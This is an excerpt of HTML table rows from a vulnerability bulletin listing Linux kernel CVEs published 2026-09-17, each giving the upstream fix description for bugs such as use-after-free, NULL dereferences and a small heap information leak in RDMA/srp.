&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90274&quot; target=&quot;_blank&quot;&gt;CVE-2026-90274&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: md/raid1: don&#039;t set array_frozen in raid1_takeover() raid1_takeover() sets conf-&amp;gt;array_frozen = 1 on the newly-allocated r1conf and nothing ever clears it, so every I/O to the array stalls permanently once _wait_barrier() sees it stuck at 1. This used to be harmless: level_store() called mddev_resume() right after pers-&amp;gt;run(), which called raid1_quiesce(mddev, 0) and cleared array_frozen back to 0 regardless of what raid1_takeover() set. Commit b39f35ebe86d (&quot;md: don&#039;t quiesce in mddev_suspend()&quot;) removed that quiesce(mddev, 0) call, so the pre-set now sticks. setup_conf() already zero-initializes the new r1conf via kzalloc, so just don&#039;t set array_frozen here. Same class of bug as commit 892da88d1cd9 (&quot;md/raid10: fix a &#039;conf-&amp;gt;barrier&#039; leakage in raid10_takeover()&quot;), also triggered by b39f35ebe86d.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90275&quot; target=&quot;_blank&quot;&gt;CVE-2026-90275&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: md/md-llbitmap: stop daemon timer rearm on destroy llbitmap_destroy() deletes pending_timer before flushing md_llbitmap_io_wq. However, daemon_work can still be queued or running after the timer has been deleted, and the daemon path can arm pending_timer again when it finds dirty chunks that are not ready to flush yet. If that happens during teardown, pending_timer can remain armed after llbitmap is freed and later dereference freed memory. Add a BITMAP_SHUTDOWN bit to llbitmap-&amp;gt;flags, set it before deleting the timer, and make the timer and daemon paths stop queueing or rearming work once teardown starts. Cancel daemon_work before flushing the shared workqueue so no already queued daemon instance can race with the free. Use timer_shutdown_sync() so a daemon instance that passed the shutdown check before teardown cannot rearm the timer afterward. BITMAP_SHUTDOWN is a runtime-only state. Mask it out when reading and updating the llbitmap superblock so the shutdown state is never loaded from disk or persisted to disk.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90276&quot; target=&quot;_blank&quot;&gt;CVE-2026-90276&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: md/md-llbitmap: prevent create failure bitmap UAF llbitmap_create() publishes mddev-&amp;gt;bitmap before reading the bitmap superblock. This is needed because llbitmap_read_sb() can initialize a new bitmap and flush it through helpers that use mddev-&amp;gt;bitmap. If llbitmap_read_sb() fails, the old cleanup dropped bitmap_info.mutex and freed llbitmap before clearing mddev-&amp;gt;bitmap. Readers such as /proc/mdstat rely on bitmap_info.mutex to keep the bitmap pointer stable while collecting bitmap stats, so they could observe the stale pointer after the failed create path released the mutex. Clear mddev-&amp;gt;bitmap while still holding bitmap_info.mutex, then free the failed llbitmap after dropping the mutex. This makes mutex-protected readers see either a live bitmap or no bitmap.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90277&quot; target=&quot;_blank&quot;&gt;CVE-2026-90277&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: md: wait for behind writes before destroying bitmap __md_stop() destroyed the bitmap before calling mddev_detach(). That made mddev_detach() skip bitmap_ops-&amp;gt;wait_behind_writes(), because the bitmap was already disconnected from mddev. This was still safe for the legacy bitmap because bitmap_destroy() waits for behind writes itself. llbitmap keeps that wait in its -&amp;gt;wait_behind_writes() operation instead, while -&amp;gt;destroy() tears down the llbitmap storage. With the old ordering, RAID1 behind-write completions could still run after llbitmap storage had been freed. Call mddev_detach() before md_bitmap_destroy() so the common detach path can wait for behind writes while the bitmap is still alive. Only destroy the bitmap after those users are gone.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90278&quot; target=&quot;_blank&quot;&gt;CVE-2026-90278&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: md/raid5: round bitmap stripes with sector division raid5_bitmap_sector_map() aligns the array range to full RAID5 stripe widths before converting it to component sectors. That width is chunk_sectors multiplied by the number of data disks, and it is not always a power of two. Reproduce with a 4-disk RAID5, 1024-sector chunks, and three data disks. The full-stripe width is 3072 sectors. For a one-sector write at array sector 3072, correct rounding gives array range [3072, 6144), which maps to component range [1024, 2048). The old round_down()/round_up() logic instead gives [1024, 4096), which maps to [0, 1024). Use sector_div() based arithmetic so the rounded range is aligned to the actual RAID5 stripe width. The deterministic mapper test now reports the fixed component range as [1024, 2048), while the old mask-based range was [0, 1024).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90279&quot; target=&quot;_blank&quot;&gt;CVE-2026-90279&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: phy: qcom: qmp-usb: Fix possible NULL-deref on early runtime suspend There is a small window where the runtime suspend callback may run after pm_runtime_enable() and before pm_runtime_forbid(). In this case, a crash occurs because runtime suspend/resume dereferences qmp-&amp;gt;phy pointer, which is not yet initialized: `if (!qmp-&amp;gt;phy-&amp;gt;init_count) {` This can also happen if user re-enables runtime-pm via the sysfs attribute before qmp phy is initialized. Similarly to other qcom phy drivers, introduce a qmp-&amp;gt;phy_initialized variable that can be used to avoid relying on the possibly uninitialized phy pointer.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90280&quot; target=&quot;_blank&quot;&gt;CVE-2026-90280&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: phy: qcom: snps-femto-v2: Fix possible NULL-deref on early runtime suspend Runtime PM must be enabled before creating the PHY, since phy_create() only enables runtime PM on the PHY device if it is already enabled on this parent device. However, the runtime PM callbacks dereference the hsphy instance, which is not yet ready, leaving a window where a suspend callback may trigger a NULL pointer dereference. Take a runtime PM usage reference with pm_runtime_get_noresume() before enabling runtime PM and release it once the PHY has been created, so that no runtime suspend can run before the PHY is ready. This also prevents a short window where an unnecessary runtime suspend can occur. Use the devres-managed version to ensure PM runtime is symmetrically disabled during driver removal for proper cleanup.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90281&quot; target=&quot;_blank&quot;&gt;CVE-2026-90281&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: phy: qcom: qmp-usb-legacy: Fix possible NULL-deref on early runtime suspend There is a small window where the runtime suspend callback may run after pm_runtime_enable() and before pm_runtime_forbid(). In this case, a crash occurs because runtime suspend/resume dereferences qmp-&amp;gt;phy pointer, which is not yet initialized: `if (!qmp-&amp;gt;phy-&amp;gt;init_count) {` This can also happen if user re-enables runtime-pm via the sysfs attribute before qmp phy is initialized. Similarly to other qcom phy drivers, introduce a qmp-&amp;gt;phy_initialized variable that can be used to avoid relying on the possibly uninitialized phy pointer.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90282&quot; target=&quot;_blank&quot;&gt;CVE-2026-90282&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hugetlbfs: release subpool on fill_super failure hugetlbfs_fill_super() allocates a hugepage subpool when size or min_size mount options are specified. hugepage_new_subpool() may also reserve huge pages for min_size. If root dentry creation fails after the subpool is created, the failure path frees the subpool with kfree(). This bypasses hugepage_put_subpool() and can leave min_size reservations charged. Use hugepage_put_subpool() on the failure path, matching the normal put_super path.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90283&quot; target=&quot;_blank&quot;&gt;CVE-2026-90283&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware_loader: do not queue completed sysfs fallback requests fw_load_sysfs_fallback() calls device_add() before adding the fw_priv to pending_fw_head. device_add() publishes the fallback loading interface, so a userspace helper which discovers the device by scanning sysfs can write 0 to the loading attribute and complete the request before it is queued as pending. In that interleaving firmware_loading_store() calls fw_state_done() while pending_list still points to itself, so it cannot remove an entry from pending_fw_head. The subsequent unconditional list_add() then queues an already-completed fw_priv. Once the request is released, pending_fw_head can retain a pointer to freed memory and the next fallback request can fault while validating the list. Only in-flight fallback requests need suspend or reboot abort handling. If the request is already DONE after device_add(), return success from the fallback path without sending another uevent, waiting again, or queueing it as pending. This preserves the invariant that pending_fw_head contains only active fallback requests.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90284&quot; target=&quot;_blank&quot;&gt;CVE-2026-90284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Remove redundant VPD flash read in sysfs read path qla2x00_sysfs_read_vpd() called ha-&amp;gt;isp_ops-&amp;gt;read_optrom() a second time after releasing optrom_mutex. The repeated read is redundant and, unlike the first, runs without optrom_mutex held, exposing flash access to concurrent optrom operations. Drop the duplicate call.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90285&quot; target=&quot;_blank&quot;&gt;CVE-2026-90285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: phy: sunplus: fix error handling in sp_uphy_init() Fix the error paths of sp_uphy_init() to undo exactly what each stage did: return directly if clk_prepare_enable() fails, release only the clock if reset_control_deassert() fails, and jump to err_reset if update_disc_vol() fails so the clock and reset are not leaked.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90287&quot; target=&quot;_blank&quot;&gt;CVE-2026-90287&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: arm64: hibernate: Restore DAIF state on error Sashiko AI has reported that if swsusp_mte_save_tags() for some reason fails we return from swsusp_arch_suspend() with DAIF being masked - that is not what we&#039;d expect. Restore the saved DAIF state before returning from the error path.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90290&quot; target=&quot;_blank&quot;&gt;CVE-2026-90290&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cpufreq: imx6q: fix out-of-bounds write when probed more than once imx6_soc_volt is allocated fresh on every probe, sized to the number of ARM OPPs: imx6_soc_volt = devm_kcalloc(cpu_dev, num, sizeof(*imx6_soc_volt), GFP_KERNEL); but it is filled through soc_opp_count, which has static storage and is never reset. A second bind after an unbind keeps indexing from where the first one stopped, and writes past the end of the new array. Unbinding and rebinding the driver on qemu&#039;s mcimx6ul-evk, under KASAN: BUG: KASAN: slab-out-of-bounds in imx6q_cpufreq_probe+0x3b0/0xa34 Write of size 4 at addr c5e90480 by task binder/73 imx6q_cpufreq_probe from platform_probe+0x88/0xe4 platform_probe from really_probe+0x108/0x384 bind_store from kernfs_fop_write_iter+0x1b4/0x28c The write lands one u32 past the end of the allocation. soc_opp_count is only read a few lines below the loop that fills it, so it never needed static storage. Make it a local.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90295&quot; target=&quot;_blank&quot;&gt;CVE-2026-90295&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cpufreq: imx6q: fix devres accumulation across driver rebind imx6_soc_volt is allocated with devm_kcalloc(cpu_dev, ...), where cpu_dev is the CPU device from get_cpu_device(0). That device is never unbound, so its devres list is never released, and imx6q_cpufreq_remove() does not free the array either. Every probe therefore adds an allocation that stays for the lifetime of the system. Allocate against the platform device instead. Its devres is released when the driver is unbound, which is exactly the lifetime the array wants: imx6q_set_target() reads it, and nothing may reach that after cpufreq_unregister_driver(). That makes the array actually go away on unbind, so also clear the file-scope pointer in remove and on the failed-probe path, rather than leave it pointing at memory devres is about to release. Tested by rebinding the driver on qemu&#039;s mcimx6ul-evk.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90296&quot; target=&quot;_blank&quot;&gt;CVE-2026-90296&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/sun4i: crtc: Propagate layer initialization error sun4i_crtc_init() returns plain NULL when layer initialization fails, while all its other error paths return an error pointer. The only caller, sun4i_tcon_bind(), checks the result with IS_ERR() and happily continues with tcon-&amp;gt;crtc set to NULL. sun4i_rgb_init() and sun4i_lvds_init() then dereference it in drm_crtc_mask(), which oopses. Return the error pointer instead.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90297&quot; target=&quot;_blank&quot;&gt;CVE-2026-90297&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/sun4i: tcon: Drop TCON TOP device reference of_find_device_by_node() takes a device reference. Drop it after mux configuration succeeds.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90298&quot; target=&quot;_blank&quot;&gt;CVE-2026-90298&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix sleepable check for tracing/lsm prog When CONFIG_FUNCTION_ERROR_INJECTION is disabled, a sleepable tracing prog is allowed to attach to &#039;__x64_&#039;-alike prefix symbols. It is because the verifier does not verify whether the symbol is a kernel function or a bpf prog. That said, a sleepable tracing prog is allowed to attach to a bpf prog target whose name has &#039;__x64_&#039;-alike prefix. For example, a sleepable fentry prog attaches to a &#039;__x64_sys_nop&#039; XDP prog, and copies buffer from a user pointer with bpf_copy_from_user() helper. After attaching the XDP prog to lo interface, the kernel BUG could be triggered by &#039;ping -c 1 -W 1 127.0.0.1&#039;: [ 3.460756] BUG: sleeping function called from invalid context at kernel/bpf/trampoline.c:1324 Fix it by disallowing sleepable prog always when its target btf is not a kernel&#039;s btf.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90299&quot; target=&quot;_blank&quot;&gt;CVE-2026-90299&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Clear buf on error in __bpf_get_task_stack Both bpf_get_task_stack and bpf_get_task_stack_sleepable helpers that use __bpf_get_task_stack have buf defined as ARG_PTR_TO_UNINIT_MEM argument and we should initialize the buf on every return path. Adding missing buf memset for __bpf_get_task_stack fail paths. This provides deterministic buffer contents, which is useful when the buffer is used directly as a map key.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90300&quot; target=&quot;_blank&quot;&gt;CVE-2026-90300&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ocfs2: synchronize heartbeat callbacks with o2net teardown Patch series &quot;ocfs2: harden heartbeat teardown races&quot;. This series fixes two OCFS2 heartbeat/o2net teardown races found by KASAN. This patch (of 2): Heartbeat callbacks stay registered while configfs local-node teardown enters o2net_stop_listening(). A node-down event can still run through o2net_disconnect_node() and o2net_set_nn_state() while teardown is destroying o2net_wq, so the later queue/flush operations can hit a dead workqueue. KASAN has caught this as a slab-use-after-free in __queue_work() with the call chain: KASAN slab-use-after-free in __queue_work+0x56/0xa90 Read of size 4 Call trace: dump_stack_lvl+0x66/0xa0 print_report+0xce/0x630 __queue_work+0x56/0xa90 srso_alias_return_thunk+0x5/0xfbef5 __virt_addr_valid+0x19f/0x330 kasan_report+0xe0/0x110 __queue_delayed_work+0x58/0x1e0 queue_delayed_work_on+0xb4/0xc0 o2net_set_nn_state+0x467/0x840 o2net_disconnect_node+0x7b/0xe0 o2net_hb_node_down_cb+0x54/0x60 o2hb_run_event_list+0x236/0x2d0 o2hb_check_slot+0xad4/0xbc0 lock_release+0xc8/0x290 o2hb_check_slot+0x9ea/0xbc0 trace_hardirqs_on+0x18/0x130 o2hb_do_disk_heartbeat+0x646/0xb30 (fs/ocfs2/cluster/heartbeat.c:1079) __lock_acquire+0x466/0x2260 lockdep_hardirqs_on_prepare+0xea/0x1a0 ktime_get_with_offset+0xe9/0x230 o2hb_thread+0x14e/0x770 kthread+0x1ad/0x1f0 ret_from_fork+0x3c9/0x540 __switch_to+0x2e9/0x730 ret_from_fork_asm+0x1a/0x30 Allocated by task stack: kasan_save_stack+0x33/0x60 kasan_save_track+0x14/0x30 __kasan_kmalloc+0xaa/0xb0 __kmalloc_noprof+0x292/0x760 __alloc_workqueue+0x736/0xc60 alloc_workqueue_noprof+0xb1/0x110 o2net_start_listening+0xe5/0x430 o2nm_node_local_store+0x184/0x310 configfs_write_iter+0x18a/0x210 vfs_write+0x469/0x810 ksys_write+0xd2/0x170 do_syscall_64+0x115/0x6a0 (arch/x86/entry/syscall_64.c:87) entry_SYSCALL_64_after_hwframe+0x77/0x7f Freed by task stack: kasan_save_stack+0x33/0x60 kasan_save_track+0x14/0x30 kasan_save_free_info+0x3b/0x60 __kasan_slab_free+0x5f/0x80 kfree+0x313/0x590 rcu_core+0x4f4/0x1320 handle_softirqs+0x156/0x660 queue_delayed_work_on o2net_set_nn_state o2net_disconnect_node o2net_hb_node_down_cb o2hb_run_event_list Keep heartbeat callbacks registered so quorum state still tracks node state, but stop them from driving o2net reconnect/disconnect work once local teardown starts. Mark the transport offline before destroying o2net_wq, wait for any in-flight heartbeat callback to finish, and delay bring-up replay until the new local node is published through o2nm_this_node(). The replay also has to stay serialized with heartbeat callback delivery. Otherwise a live-node snapshot can be copied, a real hb_down callback can install -ENOTCONN for a peer, and the stale replay can call o2net_hb_node_up() for that same peer and queue reconnect work even though heartbeat is already down. The buggy scenario involves two paths, with each column showing the order within that path: local-node teardown: heartbeat node-down callback: 1. configfs local-off enters 1. o2hb_run_event_list() invokes o2net_stop_listening(). o2net_hb_node_down_cb(). 2. teardown heads for 2. the callback reaches destroy_workqueue(o2net_wq). o2net_disconnect_node() and o2net_set_nn_state(). 3. teardown destroys and NULLs 3. the callback flushes or queues o2net_wq. work through o2net_wq.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90302&quot; target=&quot;_blank&quot;&gt;CVE-2026-90302&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ARM: 9485/1: mm: acquire mmap write lock around show_pte() for user faults When CONFIG_DEBUG_USER=y, and cmdline &quot;user_debug=31&quot; is set, a user fault may trigger show_pte() without any lock. If another thread in the same process concurrently calls munmap(), the page table pages may be freed while show_pte() is still traversing them, causing a use-after-free in show_pte(). If CONFIG_ARM_LPAE=y, this may cause a kernel panic if the pages table of PMD are freed when show_pte() is running. Acquire mmap_write_lock() around show_pte() for user faults to fix the contention. For user faults, additionally restrict that show_pte() is called only when the addr is a user-space address (addr &amp;lt; TASK_SIZE). This is because the lock of tsk-&amp;gt;mm only protects the virtual memory of user address space, furthermore, dumping the page tables of a kernel-space address for user faults is unnecessary and may have security implications. Keep everything unchanged for kernel faults, because the kernel is already in the &quot;oops&quot; state, acquiring a lock may risk a deadlock.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90303&quot; target=&quot;_blank&quot;&gt;CVE-2026-90303&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ARM: 9484/1: enable interrupts when unhandled user faults are triggered PREEMPT_RT requires interrupts to be enabled when sending signals. When do_DataAbort()/do_PrefetchAbort() triggers unhandled user faults, that is `inf-&amp;gt;fn()` return a non-zero value, and the interrupts are not enabled within the hook function, force_sig_fault() will be called with interrupts disabled. This can be triggered by user programs executing the bkpt instruction, with kernel config CONFIG_PERF_EVENTS=n. Enable interrupts in do_DataAbort()/do_PrefetchAbort() when unhandled user faults are triggered to fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90304&quot; target=&quot;_blank&quot;&gt;CVE-2026-90304&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ARM: 9483/1: select HAVE_POSIX_CPU_TIMERS_TASK_WORK Commit c6e61c06d606 (&quot;ARM: 9463/1: Allow to enable RT&quot;) enabled PREEMPT_RT on ARM but did not select HAVE_POSIX_CPU_TIMERS_TASK_WORK. This leaves CONFIG_POSIX_CPU_TIMERS_TASK_WORK disabled, so CPU timers expire in hard IRQ context. On PREEMPT_RT this makes run_posix_cpu_timers() take the sleeping sighand-&amp;gt;siglock: BUG: sleeping function called from invalid context at spinlock_rt.c:48 rt_spin_lock from lock_task_sighand lock_task_sighand from run_posix_cpu_timers run_posix_cpu_timers from update_process_times ARM handles TIF_NOTIFY_RESUME on all return-to-user paths, including v7-M. ARM32 KVM host support was removed by commit 541ad0150ca4 (&quot;arm: Remove 32bit KVM host support&quot;), so the select need not be conditional on KVM. Select it to defer POSIX CPU timer expiry to task context. Reproduced with setrlimit(RLIMIT_CPU, ...) and a busy loop. The same path is used by setitimer(ITIMER_PROF or ITIMER_VIRTUAL) and POSIX CPU timers created with timer_create().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90305&quot; target=&quot;_blank&quot;&gt;CVE-2026-90305&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ARM: 9481/2: breakpoint: CFI breakpoints only on demand This removes the stub hw_breakpoint_cfi_handler() from ARM, making it not steal breakpoint type 0x03 (ARM_ENTRY_CFI_BREAKPOINT) unless CFI is actively used in the kernel. When not instrumenting with CFI, or when a breakpoint is issued in userspace, we fall through to return 1 from hw_breakpoint_pending() &quot;unhandled fault&quot; so userspace can make use of this breakpoint. Tested with LKDTM and this command line: echo CFI_FORWARD_PROTO &amp;gt; /sys/kernel/debug/provoke-crash/DIRECT still works as expected.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90306&quot; target=&quot;_blank&quot;&gt;CVE-2026-90306&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/srp: fix heap information leak on a truncated SRP_CRED_REQ srp_recv_done() passes wc-&amp;gt;byte_len to srp_process_rsp(). It passes nothing to srp_process_cred_req() and srp_process_aer_req(), which read fixed-size fields from the receive buffer without checking that those fields were received. The buffer size is max_ti_iu_len, which comes from the login response and is not validated. A target that advertises 8 and then sends an 8-byte SRP_CRED_REQ makes the initiator read req-&amp;gt;tag from beyond the end of the buffer. req-&amp;gt;tag is copied into the SRP_CRED_RSP and sent back, so those bytes reach the target. SRP_AER_REQ behaves the same way and also reads req-&amp;gt;lun. The leak is 8 bytes per response. max_ti_iu_len also decides which slab cache the buffer comes from. With 8 the buffer is a kmalloc-8 object and the read is entirely outside it: BUG: KASAN: slab-out-of-bounds in srp_recv_done+0x172b/0x1aa0 Read of size 8 at addr ffff888104714da8 by task kworker/u8:3/50 which belongs to the cache kmalloc-8 of size 8 The buggy address is located 0 bytes to the right of allocated 8-byte region [ffff888104714da0, ffff888104714da8) Without KASAN the returned bytes are whatever is next in the slab. One run returned &quot;.strtab&quot;. rsp-&amp;gt;data[3] in srp_process_rsp() has the same problem: only resp_data_len is checked before it is read. Drop a request that is shorter than the structure being parsed, and check byte_len before the tsk_mgmt read.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
